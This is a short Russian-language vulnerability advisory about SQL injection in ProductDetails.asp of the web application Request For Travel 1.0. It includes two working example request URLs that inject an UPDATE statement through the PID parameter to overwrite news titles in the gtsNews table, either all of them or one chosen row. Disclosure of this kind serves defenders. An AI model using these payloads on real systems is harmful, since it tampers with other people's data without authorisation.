Программа: Request For Travel 1.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием ProductDetails.asp. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Примеры:

-> Все заголовки новостей изменить на = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'--

-> NewsId заголовок изменить на = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'%20where%20NewsID=2--

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии